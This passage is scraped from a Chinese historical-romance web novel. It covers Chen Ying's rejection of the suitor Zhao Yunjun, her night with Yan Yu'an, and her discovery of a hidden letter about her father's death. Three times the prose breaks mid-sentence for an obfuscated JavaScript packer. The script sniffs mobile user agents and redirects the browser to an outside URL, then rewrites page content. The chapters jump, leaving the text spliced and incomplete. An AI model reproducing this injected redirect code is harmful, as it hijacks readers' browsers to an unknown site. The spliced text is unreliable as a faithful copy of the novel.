陈英自然也看得明白,可她与这位姓赵的公子并不相熟,更不想承他这份人情。于是她用眼神示意麦冬后,便淡声说,“今日叨扰金掌柜了,我们改日再来。” 说完后,她带着麦冬大步离去,留下金掌柜尴尬地站在原地。 金掌柜张了几次嘴,却不知该说什么好。他心想,这位姑娘不想承赵公子人情,与他可是毫不相干的。他索性闭上嘴,偷瞄一旁男子的脸色。 赵云君望着女子飘然远去的背影,只愣了一瞬,然后他嘴角慢慢勾起,眼底浮现出一抹玩味的深意。 “掌柜的,这间铺子我买下了。” 61. 第 61 章 陈英回府后,没再提买铺子的事。夜里麦冬见她一直闷闷不乐,便起了个话头说,“再过几日便是除夕了,姑娘是第一次在云州过年吧?在我们云州,除夕夜是要和家人一起守岁的,守着炉火彻夜不熄,家人便能长命百岁呢。” 陈英没有说话,烛光映红了她的侧脸,暖橘色光芒之下,她的眸光微转,终于显出几分鲜活。 麦冬看在眼里,不禁抿嘴笑起来,“到时候姑娘和言大人……” “不可。”话刚落音,陈英自己先是一愣。 麦冬只当她还在为白天的事心里不痛快,此刻不过是在说气话罢了。 这段时日她看得分明,言大人对姑娘是真心看重,哪怕外出办差再忙,言大人都会专门派人回府给姑娘报个信,生怕自己晚归会叫姑娘担心。府里不管是吃穿用度,还是下人们的恭敬态度,俨然是将姑娘看做女主人的,只怕全府上下就只有姑娘自己不知道罢。 麦冬倒是不在意她这时的气话,心里盘算着要赶紧置办些年货。忽然门外传来敲门声,有护卫隔着门扇递话过来,“英姑娘,言大人已经回府歇下了,请姑娘也早些歇息,毋庸担心。” 陈英想了想,不禁问,“这么早,他便歇下了?” “年末公事繁忙,大人他也许是累了。”护卫背脊一僵,话却是说得斩钉截铁。 隔着门扇自然也瞧不见护卫脸上的迟疑,陈英仅有片刻恍惚,却也没有往深处想,随意打发了一句,“好的,我知道了。” 那护卫如释重负般松了口气,随即大步远去。 第二日陈英又带着麦冬去了云州城南街,金墨斋。不过这次陈英倒是没见到金掌柜,而是被店小二直接领上了阁楼茶室。 她们来得仓促,也并没有事先递个口信,是以在茶室等候了许久,才终于听到有人上楼的声音。 那脚步声,轻而缓,不疾不徐。 听着那脚步声,陈英不由地皱了皱眉,转头看向了门口。 这一转头,她对上了一张神采飞扬的脸。而此刻,这张脸上的桃花眼正深情款款地看向她,来人正是昨日见过的赵云君。 不知为何,陈英对上他的笑容时,却觉得心里堵了块石头。 见人进来,她也没有要起身行礼的意思,只淡淡瞥了眼门口,她便直截了当问他,“金掌柜呢?客人等候多时,怎的还不见他出来?” 赵云君挑了挑眉,然后轻笑着,“金掌柜啊。” 他顿了顿,一边留意着陈英脸色,解释说,“他家中急需银钱,昨日姑娘走后,他便只好央求于我,实属不得已,我才买下这间店铺。” 说到这里,他径自坐到陈英身旁的圈椅里,偏过头来,微笑地看向陈英,似不经意地问,“英姑娘,今后可是打算在云州长住?” 陈英神色淡淡,并未回答他。 赵云君定定看着她。她清艳的脸庞上,细长的柳眉微微蹙起,犹带几分薄愠。一双清灵如水的眼眸,此刻更是沉静疏淡的。这个女子见到他,竟是没有半点欢喜,也没有故作姿态的矜持? 顿时,赵云君微微眯了眼睛,脸上笑容也淡了下去,“赵某不才,的确比不上武安侯府的世子爷,不过那位身份显赫,也不是一般女子能肖想的。英姑娘既打算在此买店铺做些营生,那定然也是个聪明人,明白齐大非偶的道理。” 齐大非偶? 陈英抬眸看向他,平静的眸光里,偏偏透着一股令人生畏的疏冷。 赵云君陡然意识到自己说错话了,那接下来的话,便更不好出口了。 他沉沉地盯着陈英,眸底闪过几瞬犹豫,转而正了脸色,“实不相瞒,赵某在万法寺第一次见到姑娘,便对姑娘一见倾心。” 他用一种干涩的语气说完这番话,心脏也猛然跳动起来。这段时日,他夜不能寐,辗转反侧,心口像是烧腾的沸水,执念一起,便再难得安宁。 此刻,一番剖白说出来,后面的话就顺畅多了。见陈英不吭声,他又声音放软,半是低哄说,“只要你点个头,今后不光这间铺子,包括后边那座二进宅院,我也一并转到你的名下,如何?” 赵云君眸光炽热,落在陈英清艳的脸庞上。 泛红的桃花眼,此刻犹如蛰伏的狼,目光痴迷中潜藏着几分隐晦深意。他将契书往桌上轻轻一扣,声音低沉,又无比认真地说,“往后我定不会亏待你。” 陈英盯着赵云君指尖下那张薄薄的契书,她只觉得那张契书沉如泰山,重重压在她心口上。 指尖用力蜷进掌心,手心里早已沁出冷汗,陈英慢慢垂下双眸,慢声说,“即便是知晓我与那位大人的关系,赵公子也不在乎了?” “姑娘应当也知,他并非你的良配,所以你才会求购商铺,好为自己铺条后路,不是么?” 仅是一句话,便将她的心思全部说中。陈英心猛地一沉,整个背脊都僵硬起来。 赵云君给她杯中添了些茶水,缓声诱哄着,“与其将来托足无门,不如等那位大人回京了,你便搬到这里来吧。” 陈英盯着面前的茶杯,淡黄的茶汤中浮出几片青绿色叶芽,飘荡盘旋几息后,缓缓沉入杯底。 “茶凉了,去重沏一壶过来。”指尖在桌上轻叩两声,陈英转眸深深看了眼麦冬。 此时的麦冬在旁听得心惊肉跳,她见陈英投来的目光,几乎瞬间便了然于心,她朝陈英暗暗点了下头,便匆匆跨出门去。 陈英望了眼她离去的背影,眼底情绪有些波动,嫣红的唇瓣又抿紧了几分。等麦冬走远些,以她的身手,想要从这里脱身也并不难。 就在陈英默默盘算着时间,赵云君却是渐渐变了脸色。 一想着,令他魂牵梦萦的美人很快就要投入他的怀抱,浑身血液便沸腾不止,虽不愿承认,他此刻的确起了邪念,对她动起了歪心思。 那种从心底阴暗处滋生的欲望,化作一团火直冲三焦。见茶室内再无旁人,赵云君眼神痴迷地望着眼前如娇花般的女子,心中难以自抑地悸动着,最后他还是情不自禁伸出了手。 就在他快要摸到陈英的脸时,陈英端起茶盏,毫不犹豫地朝他的脸泼了过去,茶水四处飞溅,赵云君旋身跳开二丈远,仍是躲避不及,胸襟前湿了大片,水渍斑驳。 一时间,他满身狼狈,抹了把脸上水渍,又惊又气地瞪向陈英,沉声低喝道,“姑娘这是何意?” 陈英自然听出了怒意,可方才也试探出来了。这人是有功夫在身,原本云州地处边陲,战事频繁。不论是山民商贩,还是世家贵族大多都是会习武防身。 只不过见他一副儒雅书生打扮,差点便以为他是个绵软的公子哥。如果这个时候硬碰硬,她似乎也没有全身而退的把握。 “都怪我不小心,赵公子您没事吧?” 陈英假装关心地站起来,可脸上却是笑容坦荡,“公子方才说的话,我仔细想了想。公子提出的条件也很是诱人。只不过,有一件事公子怕是不知,我这个人啊,心窄得很。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289390|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,赵云君怒气消了大半,只是微蹙起眉,一脸狐疑地看向她。 陈英丝毫不在意他的脸色,径自走上前,帮他掸了掸肩上残留茶叶渣。唇边压的笑容又深了几分,她翘起一根手指,重重点在他胸口,“我向来是,爱之欲其生,恶之欲其死。” 赵云君猛然伸手揽住她的纤腰,声音不自觉柔了几分,“我对姑娘是真心爱慕。” 陈英忍住心底的厌恶,努力柔和语气,仰起头朝他笑着,“公子可愿意接受检验?” “什么检验?” 陈英顺势从他怀中挣脱,清灵的乌眸里盛满了真诚。 赵云君不觉呆住,之前对陈英一见倾心,只因见过她在翠柏间嫣然一笑,那一幕便深深印入脑海,挥之不去。而今只不过和美人说上几句话,就足以令他心动不止,神魂飘荡,难以自持。 这时,屋外骤然刮起北风,窗扇被吹得哗啦作响。虽屋内还燃着暖炉,可还是觉出几分寒冷。 陈英微微拢了拢衣裳,然后抬起头,一脸认真地看向赵云君,“公子若是真心待我,自是应当三书六礼,八抬大轿迎我入门才好,至于这铺子宅院,将来便充作我的嫁妆好了。” 话一落音,赵云君便皱起了眉。几乎是他刚变了脸色,门扇吱呀一声,被人从外面推开了。 两人都不约而同地转头,望向门口。 此时,一个颀长的身影出现了。 冷风瞬间灌满了茶室,陈英看清来人,神经不由地紧绷起来。她缩了缩脖颈,一时间舌尖打颤,竟是吐不出半个字来。 男子披着一件灰白斗篷,肩上颜色隐隐有些发深,像是刚刚被融雪浸湿过。他玉白的脸庞上,此刻透着不自然的绯红。 与任何时候见到他一样,这个男子总是飘然若仙,不染尘俗。只不过,这一次他周身气息有些不同,似是匆忙而来,风尘仆仆中,透着一股冷厉和威严。 他只是静静地立在那里,可那种威压的气势,却足以令所有人望而生畏。陈英咬着唇,绞尽脑汁,却还是想不出,这个时候该说些什么才好。 还是赵云君最先镇定下来,他朝着言昱安走近,拱起手,不尴不尬地笑着,“原来是言大人啊,还真是巧了。” 言昱安视线从他身上淡淡掠过,然后缓步朝陈英走去。 陈英下意识地往后缩了缩,差一点就要撞上后面的博古架。 言昱安一言不发,扯下身上斗篷披在陈英身上,然后牵起她的手就往外走。而他始终神情疏淡,真真看不出任何异样。 刚出了金墨斋,就有十来个护卫涌了上来,平康见言昱安将披风给了陈英,方正的脸上写满了担忧,“主子您这刚……” 言昱安一个眼神飞过去,平康立马住了嘴,剩下的话只能咽在肚子里。 世子爷今日是在宴请云州几位重要官吏,借由不胜酒力,到底还是饮了几杯。原就是带病的身子,哪里受得了半点寒冷,哪成想,方才刚一接到消息,世子爷便不管不顾,跨上马便直奔而来,可把他们这一帮人吓坏了。 也不晓得这英姑娘究竟是如何想的,好好待在世子爷的后院不好么?偏要这般瞎折腾。 直到二人上了马车,陈英才隐约闻到些酒气,她慢慢抬起头望向言昱安,还是忍不住问他,“你饮酒了?” “嗯。”言昱安双眼微闭,呼吸炽热。 此刻他的声音更像是被砂石磨过,沙哑低沉,明明只是应了一声,却偏偏有一种沉郁无奈之感。 66. 第 66 章 这时屋外的护卫也闻声赶来,隔着门问,“主子,您可安好?” “我没事,你们都退下吧。”言昱安面色平静,将短剑收入剑鞘中。 陈英惊魂甫定,这才明白过来他是故意吓唬她,瞬间气鼓鼓地瞪了他一眼。 “我换身衣裳,便送你回去。” 言昱安转身朝屏风后走去,面色始终不变的清冷。 虽然他在极力克制,但陈英还是一眼能看出,他眼底一闪而过的心虚与后怕,骨节均匀的手指紧扣着剑鞘,泄露出他心底微妙的紧张。 陈英瞬间就不气恼了,追上去抓住他胳膊晃起来,一边娇声道,“我知道你还在生我的气,可你气也气这么久了,是不是也该给我一个机会,来好好哄哄你呢?” 言昱安眼眸微垂,沉沉目光看向她,下颌线紧绷着,并未理会她。 陈英拉着他胳膊往床榻走去,倒是有些意外,言昱安竟然没有抗拒。更像是在纵着她撒娇使小性子似的。得出这个结论后,陈英眼眸一亮,心里更加有底气了些。 她强按着言昱安,让他在床榻上躺下,然后自己也快速地踢掉绣鞋,在他旁边躺下来。这一刻,彼此间身体挨近,呼吸交融,顿时让人产生一种同床共枕,便会百年好合的错觉。 她忽然忍不住,扑哧笑出声,“你有没有觉得,我们现在好像是洞房花烛夜。” 丝毫没有察觉到,男子眼眸深处的震动。 她手肘一弯,支起脑袋看向言昱安,眉开眼笑说,“倘若你不是什么侯府世子,而是一个偏乡僻壤的穷酸书生,那我定会缠着你,非要你娶我不可。” 言昱安猛然睁开眼,幽沉的眸底浮出一瞬温柔,随后又将复杂的目光落在陈英脸上。 “你还是不愿跟我回京城吗?”言昱安声音艰涩,却仍藏着几分期待。 陈英眼底闪过一瞬讶异,她的确没想到他还会问出这个问题。 而她此刻脸上的神情,言昱安已经尽收眼底,他的心也正一点点往下沉。 久久听不到她的回答,或者说避而不答,便已是答案了。 此时狭小的床帐内空气沉闷,言昱安忽然觉得有一团气,憋在胸腔里难以倾吐。于是翻过身背对着陈英,缓缓吐纳着气息。 忽然间,后背一暖,女子娇柔的手臂从后面伸来,轻轻搂住他的腰腹。 言昱安浑身一震,薄唇抿得更紧。 陈英知道他在气什么,她将脸贴在言昱安后背上,闻着他身上的气息,小声地解释说,“在这里我可以随心所欲,不用处处谨小慎微,看人脸色。可若是回到京城,皇亲贵胄的府邸更像是一座精制牢笼,而我就像小时候养的那只小橘猫,出入都不得自由。” 只怕是连她自己性命,都会捏在别人手里。 陈英眼神黯了黯,最后还是将这句话咽回肚子里。 言昱安一声不吭,拿起她搭在腰间的手,便往身后扔去。 陈英瞬间觉得委屈,明明都软言相哄,甚至都讲清楚理由,怎么还是如顽石一般。 越想越觉得心酸,眼泪更是不争气直往外冒,几声急促鼻息后,她竟忍不住低声哭泣起来。 听见身后抽抽噎噎的声音,言昱安几乎是突然地,转过身将她搂入怀中。 顷刻间,陈英整个人都被一个温暖的身躯包裹着,熟悉的甘松香气息扑面而来,卷天席地,几乎是瞬间灌满她整个肺腑,更像是倾注到她灵魂深处,激起她脊背一阵阵颤栗。 “不哭了?” 薄唇轻轻蹭了下她的耳廓,温热气息喷洒在耳朵里。 陈英脑子懵了一瞬,竟直接扭过头,报复性地,狠狠咬住男子的唇。 起初,她不过是想咬他一口撒撒气。可言昱安却是一个翻身,反将她压在了身下。他眉心微蹙,琥珀色眸光沉沉落在她身上,如有实质般带着她看不懂的复杂情愫。 两人鼻尖相抵,炽热鼻息喷洒到她脸上。 一阵阵酥麻感,顺着沸腾的血液涌动着,整个人仿佛吃醉了酒,遍身虚软无力,脑袋也晕乎乎起来。 此时的她望向言昱安,痴痴的眼神中,竟带着几分妩媚的迷离。 许是屋内炭火太旺,言昱安如玉的脖颈此刻也染上绯色,随着他俯身动作,雪白里衣系带松松垮垮悬着,衣襟半敞,倒像是风流不羁的纨绔,逸态横生。 陈英目光不受控制地,落在他如玉质般的脖颈,还有脖颈下微微凸起的喉结。一滴汗珠正从他鬓角悄悄滑落下来,沿着脖颈优美的线条顺流而下,又在喉结上汇聚成一滴饱满的汗珠。 映着室内闪烁不定的烛光,汗珠变得晶莹透亮。只是突然间,那喉结上下滚动了几下,汗珠倏地滴落下来,恰巧落在陈英有些凌乱的衣襟口。 言昱安下意识地垂眼,看着那滴汗珠透过薄薄衣料缝隙,没入女子起伏的衣襟缝隙之中。 下一瞬,就见他视线像是被灼烫了一下,呼吸一紧,匆匆避开眼,不敢再看向陈英。 望着此时心慌意乱,方寸大乱的言昱安,陈英不知为何,竟觉得此刻的他竟是如此可亲可爱。平素只觉得他是高悬天边的月亮,是世间女子遥不可及的春闺奢梦。 只是撒娇一回,只是这般痴缠于他,曾经那个风光霁月,不染俗尘的郎君竟像换了个人一样,变得不再疏远冷淡,不再飘忽难寻了。 就在这时,陈英感觉触碰到什么东西,指尖微动,捻起一张折叠的纸页。 不等她开口询问,言昱安看清她手中举起的信纸,瞬间变了脸色。 他倏地欺身而下,一手按住她细白的手腕,然后吻住了她的唇。 几乎是不受控制地,陈英娇吟了一声,明明是惊吓后的反应,可声音偏偏听起来,却像是在娇嗔,更像是耳鬓厮磨时绵软亲昵声。 陈英微微睁开眼,看到的是言昱安紧闭的双眸,鸦羽般眼睫在眼睑下落了一道浅影,弯弯如月牙,挺直的鼻峰下,是他缓慢蠕动的薄唇,正在细致而虔诚地描画着她的唇形。 不知不觉间,陈英被吻得神魂飘荡,不知所以。就连手中纸页何时不见了,都已经记不清了。 她合上隐隐泪光的眼眸,动情地回应着他的亲吻。与他唇舌相缠,体温交融,这一刻彼此心意相通,心随意动,情难自禁。 就在她忍不住娇喘时,一只滚烫的大手抚上她腰侧衣襟系带,只隔着一层薄薄衣料,反复流连着。 此时早已迷迷糊糊的陈英,颤颤地伸出手,想要帮他解开系带的禁锢。 言昱安却忽然停下来,他单手支起身躯,抬头看向陈英。泛红的眼眸中,终于恢复一瞬清明。他重重喘息几声后,声音沙哑地轻唤了声,“阿英。” 那只覆在她腰侧的手缓缓上移,在她被吮得有些红肿的唇瓣上,轻轻按了一下。 还没等陈英反应过来,面前的男子竟兀自低笑起来,感觉他整个胸腔都在微微震颤。 陈英正困惑不解,就听见男子轻叹着,用略带暗哑的声音说,“我此生从未这般欢愉过,阿英你呢?” 随着他话音一落,陈英也听出他声音里的惬意,她眨了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289395|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨湿润的眼眸,唇角带着心满意足地微笑,极认真地回答他,“我也是。” 声音如蜜,糜荡而缠绵。短短三个字,却是像一道光,陡然点亮言昱安的心扉。 望着怀中嫣然含笑的女子,言昱安忍不住一遍又一遍轻抚她的眉眼。 忽然间,他的眸色渐渐变深,倏地有一瞬失神,却又很快压下眸底的一抹迟疑。 他闭上双眼,再次俯身吻上她嫣红的唇瓣。 屋外寒风呼啸不止,时而轻缓,时而狂乱。庭院中光溜溜的树稍,簌簌有声,此刻更是仿若无所依傍的藤蔓枝条,被狂风肆意吹动着,忽而向东,忽而向西。 书房内,传出断断续续的声音。 外头守夜的护卫们,纷纷瞥了眼映着烛光的窗纸,脸上无不是惊诧的神情。 一个护卫红着耳尖,终于还是忍不住说,“世子爷,这回总算是如愿了。” 另一个年长些的护卫,抬头瞥了眼那烛光飘摇的书房,语气清淡地说,“世子爷从小定力非凡,于女色上更是清心寡欲。瞧着英姑娘这般煞费苦心,到底谁如愿了,那还不一定呢。” 其他护卫闻言,纷纷点头如捣蒜。 书房中,女子忍痛闷哼一声。 几乎是瞬间,陈英泪盈于睫,双臂紧紧搂住男子的腰。炽热的亲吻又一阵铺天盖地而来,言昱安此时眼神中没有一丝杂念,灼灼眸光中映着幽微烛火,这一刻瞳仁尽显沉沦,好似也在将她镌刻进心底。 听到她吃痛低呼声,言昱安动作一僵,清俊的容颜此时已染上绯色,薄唇上也有点红肿,他俯身定定地看向陈英。 两人就这么对望着,几声喘息之后,陈英透过湿漉漉的双眼,深深凝望着面前的男子。 就在眼角泪痕沉入鬓发时,她忽然伸出手臂,圈住言昱安的脖颈,将自己的唇轻轻印在他的喉结上。 然后她抿起唇,温热鼻息喷洒在男子耳畔,娇柔的嗓音,撩人而不自知,“言昱安,这一刻我们只属于彼此,我真的好欢喜。” 她居然说的是欢喜,言昱安愣怔住了。 骨节均匀的手指轻抚上女子的脸庞,指尖沾上微凉的湿意。 慢慢地,他低下头一点点亲吻着她的眼睛,温柔的唇将她眼底满溢的泪水卷入口舌之中。泪水咸涩的味道充斥口腔中,他却尝出了比药汁还要苦,比青杏还要酸涩的滋味。 “阿英,我不许你后悔了。” 他一瞬不瞬地盯着陈英,温柔而沉静的声音里,带着不容置疑的坚定。 下一刻,炽热的手掌握上她皓白手腕,指缝交错,十指相扣。 陈英如脂玉般的脸庞上渐渐浮现胭脂色,只是她眼神仍旧痴迷着,茫茫然地望向言昱安。 就在她恍惚的瞬间,男子微凉的唇便覆了下来,那双沾染了欲色的眼眸,像是冬夜里的熊熊篝火,如此热烈昂扬,又这般激荡人心。 感觉到唇齿间馨软甜蜜,陈英心满意足地合上双眼,最后一丝理智也归于混沌。 风雪翩跹,更漏声声。 疾风卷雪似是永不知疲倦,直到明月西沉,方才停歇下来。 陈英闭着眼,伏在男子温软的怀抱中,汗湿的长发散乱地铺陈在锦被上。随着呼吸起伏,似乎能隐约听见男子温柔的安抚声。 一夜风雪过后,天气晴好。 直到日上三竿,书房中依旧寂静无声。 一直守在书房门外的平康,唇角忍不住上扬。就在他以为屋内人缠绵床榻时,一声悲痛欲绝的哀嚎,倏地响彻云霄。 67. 第 67 章 陈英醒来时,言昱安正在屏风后换衣裳,她瞧了眼窗外透进来的日光,在地面映出一片明晃晃光影,心里估摸着怕是都过了巳时。 她脸上顿时红起来,一时间竟不知道该怎么面对,索性扯起锦被,一头钻进被窝里。 平康昨晚站在书房外听到里面动静,心里就直打鼓,也不晓得屋内究竟是什么情况,苦守一夜到现在,始终都没听到里头唤人进去伺候。 直到此刻,突然听到女子凄厉哭声,他才悚然一惊,冲上前拍打房门,一边焦急地冲里头喊着,“世子爷?世子爷您没事吧?” 喊了几声都不见回应,平康正犹豫要不要硬闯时,言昱安低沉而疲惫地声音传了出来,“取一套她的衣裳过来。” 听到言昱安的吩咐,平康这才心神大定,忙应了声匆匆离去。 不一会儿,麦冬捧着衣裳跟在平康身后过来了。庭院前,平康忽然脚步一止,用眼神示意麦冬独自上前。 麦冬捧着衣裙上去敲了敲门,听到里面传出女子断断续续的哭声。 她敲门的动作便是一顿,心里不禁担忧起来,英姑娘这回怕是真得手了,应该也是真后悔了吧。毕竟在这世道,姑娘家失去清白,几乎跟交付性命没有两样。倘若遇到的是连名分都不肯给的负心汉,无异于将人打入地狱。 从一开始,晓得陈英有这个念头时,麦冬也是被吓得不轻。既知道陈英并非言昱安的侍妾,那这般无名无分跟在男人身边,终究算不上是好归宿。 如今木已成舟,英姑娘怕是后悔也晚了。 麦冬正要继续敲门时,里面传来言昱安的声音,“放下吧,不必进来。” 闻声,麦冬面上一怔,正想开口说些什么,就听到里面越来越近的脚步声,立即吓得只将衣裳放在门口,然后默默退到台阶下。 很快门被人拉开一条缝隙,从里面伸出一只手臂将衣裳拿了进去。 不一会儿,便能听见里面时不时地传出哗哗水声,还有男子温柔低哄声。 世子爷竟然在伺候一个女子洗漱。 平康还有院内护卫们面色各异,最后也都纷纷皱起眉头。 要知道他们世子爷是何等矜贵身份,又是生得仙人之姿,放眼整个京城想要入他后院的女子,怕是多得要排到京城外十八里亭去了。 即便能成为言昱安的妾室,那也是陈英的福气。按照侯府里规矩,事毕后她应该起身伺候言昱安沐浴更衣,然后再清理干净床榻,点上安神祛秽的香,好让言昱安就寝。 可现在的情况,完全超出他们的认知。 透过模糊的窗纸,隐约能瞧见屋内男子走动的身影。言昱安竟亲自替英姑娘更衣,窥见这一秘事,麦冬不禁蹙起了眉。 这男子是有多亏心,才会纡尊降贵肯做这等伺候人的事。 这时,平康朝麦冬走过来,他先是望了眼书房,然后低声对她嘱咐说,“眼看就要到晌午了,你先去厨房准备些膳食,要口味清淡些,容易克化的。” 麦冬倏地抬起头,狠狠白了他一眼,然后气冲冲地走开了。 这小丫头今日是吃错药了?平康一脸困惑地挠了挠头,也并未放在心上。 直到午时初刻,书房的门才终于开了。 满院鸦雀无声,院内众人皆是面色古怪,纷纷垂首敛目,连呼吸都悄悄压着,生怕自己太过显眼。 这时言昱安披着一件银狐大氅,大步走出来。他才跨出屋檐下,就看见默默侯在外头的平康。 “主子,今日赵府设宴……”平康走上前,话还未说完,瞧见言昱安脸色不大好,顿时欲言又止。 言昱安面容疲惫,沉着眉眼扫向院内众人,“云州发生的一切,回京后不得外传。” “我既带诸位来到云州,便是将你们视为心腹,切莫令我失望。” 话音方落,满院护卫齐齐单膝点地,默默俯首。麦冬没见过这等架势,也吓得颤颤跪伏在地,满心惶恐。 言昱安抿着唇朝外走去,在经过麦冬身旁时,他忽然停下来。厚底皂靴踩到昨夜新积的雪上,积雪碾出细微声响后,留下一滩污浊水渍。 麦冬呼吸一窒,浑身抖如筛糠,忙将头伏得更低。 突然就听到面前男子,清淡渺远的声音,“待会儿将她唤醒,让她吃点东西再睡。” 言昱安眸光幽沉,往身后书房瞥了眼。他不再说话,漠然转身离去。 言昱安离开后不久,陈英就醒来了。 她浑身酸软无力躺在床榻上,一副神魂恍惚的模样,红肿眼眸下泪痕斑驳,一截如玉藕般手臂压在锦被上,柔润白皙的肌肤上几处浅浅红痕,犹似点点红梅映雪。 “姑娘,起来用些粥吧。”不多时,麦冬的声音从屋外传来。 “进来吧。”陈英刚一开口,发现自己嗓子已经哭哑了。 等麦冬进来将她扶起时,她衣襟腰侧系带忽然松散开了,她微微一愣,发现系带不是她惯常打的如意结。这才想起她哭得几欲昏厥时,是言昱安替她净面更衣的。 想到昨夜,再到今晨,福过灾生,大抵是她命薄福浅,老天爷才会在她最幸福的时刻,给她最沉重的一击。 陈英不自觉咬紧唇瓣,眼底又泛起泪水。 麦冬见她这样,以为她还在为失身后悔。有些昏了头的姑娘家,为了留住郎君的心,一时头脑发热,跟男人有了苟且。云雨过后,却遭到男人厌弃,最后落得个失洁的名声,一辈子都抬不起头。 她怕陈英想不开,小心劝解着,“方才言大人临走的时候,还特意嘱咐我要叫醒姑娘起来用膳呢,我猜想啊,大人心里还是看重你的,只要姑娘多软语温存些,大人说不定会带你回京呢。” 陈英正低头吃着红枣粥,一滴眼泪吧嗒落进碗里,泪水迷蒙的双眼,有片刻失神。 麦冬一边整理床铺,扭头看了眼陈英,见她又要哭的样子,声音一下急了,“姑娘若是觉得委屈,那就另寻出路,云州城这么大,凭姑娘的美貌,还怕找不到好归宿吗?” 这时陈英回过神,听出来麦冬是真心替她着急。动了动唇,刚想开口解释,却发现自己的喉咙嘶哑得吐不清字了。 她只能皱着眉,冲麦冬连连摇头。 麦冬却是不解,见陈英摇头,以为她是铁了心要跟言昱安。 但说实在,麦冬在城主府里这么些年,见过多少官绅士族,都不曾见过如言昱安那般龙姿凤采的人物。说句不恰当的,只是远远瞧见一眼,便觉得整个云州城再无俊俏二字。 陈英痴恋言昱安,也的确情有可原。 用完粥后,麦冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289396|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取来斗篷要伺候陈英穿上。两人正要走出书房时,陈英脚步突然刹住,她抬眸朝书房东厢的桌案扫了一眼,迟疑了一瞬,还是提步走了过去。 也不知是不是鬼使神差,她小心翼翼打开桌上的书信匣子,将厚厚一叠书信取出,然后一封一封翻看起来,竟然真让她找到那封信。 晌午醒来时,趁言昱安在更衣,她无意间在枕下摸到一张纸页,恰巧是昨晚她发现的那枚折叠的信纸。 想起昨晚她发现这封信时言昱安的反应,她不由愣了会儿神。满腹狐疑地展开信纸,短短几行字,竟犹如雷霆万钧,猛然在她脑中轰隆一声炸裂开。 上面竟然写的是父亲的姓名,籍贯,阵亡时间…… 就在她哭嚎出声的时候,言昱安匆匆过来,将那封信夺走。 陈英回想昨夜言昱安对她的重重,那个突如其来的吻,原来并不是他情动,而是为了掩饰这封信啊。更准确来说,不是掩饰而是欺瞒,将她父亲阵亡的消息隐瞒下来,然后呢? 他是不是可怜她从此孤苦无依,便想要用这种手段占有她,将她禁锢在他身边,从此以后,在他后宅之中,在他今后的妻子的眼皮下,卑躬屈膝的活着。 一夜荒唐,原来只为彻底断了她留在云州的念头,将她带回京城。难怪言昱安昨夜会说,不许她后悔。 陈英就偏不信,离了言昱安,她便没有活路了么?真是可笑啊,这个人千方百计欺瞒她,算计她,可她却对他没有半点恨意。 陈英越想越觉得伤心,明明给不了她凤冠霞帔,却为何要将她逼迫至此。 阿爹已死,这世间再没有她的家了。即便如此,这辈子她就算豁出性命,也绝不会给人做妾,任人欺辱。 当言昱安搂着她,在她耳边一遍遍柔声低哄着,说要带她回京,许诺要给她安稳的生活时,陈英心里却是一片冰冷。 在得知父亲死讯和心爱之人对她的算计时,两种痛骤然相叠,她一时间竟分辨不出,究竟是哪一种痛,更痛入骨髓。她只能放声痛哭,将悲痛化作涕泪,哭到泪眼枯竭,声嘶力竭。 陈英视线一收,煞白着脸将信纸折叠起来,收入信匣后放回原位。 因为嗓子哭哑了,她也没法跟麦冬解释什么,两人推门走了出来。 齐刷刷地,庭院内几双眼睛,直直朝陈英盯来。 院中护卫们盯着陈英,盯着她红肿得像核桃的双眼,一个个面容沉肃,却都同样流露出轻鄙的眼神。 昨夜之前,这些护卫待她都是恭敬有礼的,可今日却全都变了。那些锋利的视线,此刻落在她身上便如刀子,似要将她生剥了一般。 这个时候的陈英,眼神却没有任何变化,因为她知道,从今日起她亦不再是从前的她。 敛下眼眸,陈英在麦冬的搀扶下步伐沉稳的,一步一步,终于迈出了言昱安的院落。 临近傍晚时,一架低调的马车停在了城主府门前。 转眼间,一个丫鬟扶着一名女子从马车上下来。那女子身披石榴红斗篷,即便是在这样严寒的冬天里,她里面也只穿春衫,轻薄如烟的嫩叶青长裙,随着莲步轻移,在满地积雪中,宛若琼瑶仙台中穿枝拂叶的仙子,一举一动都彰显着精心雕刻出的妩媚姿态。 来人正是赵府的千金,赵双宁。 71. 第 71 章 既然答应了言昱安,那自然是做戏要做全套。等言昱安离开后,陈英把脸洗净,然后换上言昱安的衣裳,坐在灯下翻看话本。 结果话本没翻几页,上下眼皮就直打架。实在熬不过,陈英打了个哈欠,便吹灯睡下。 幽蓝天幕下,白云如絮,悠然来去。 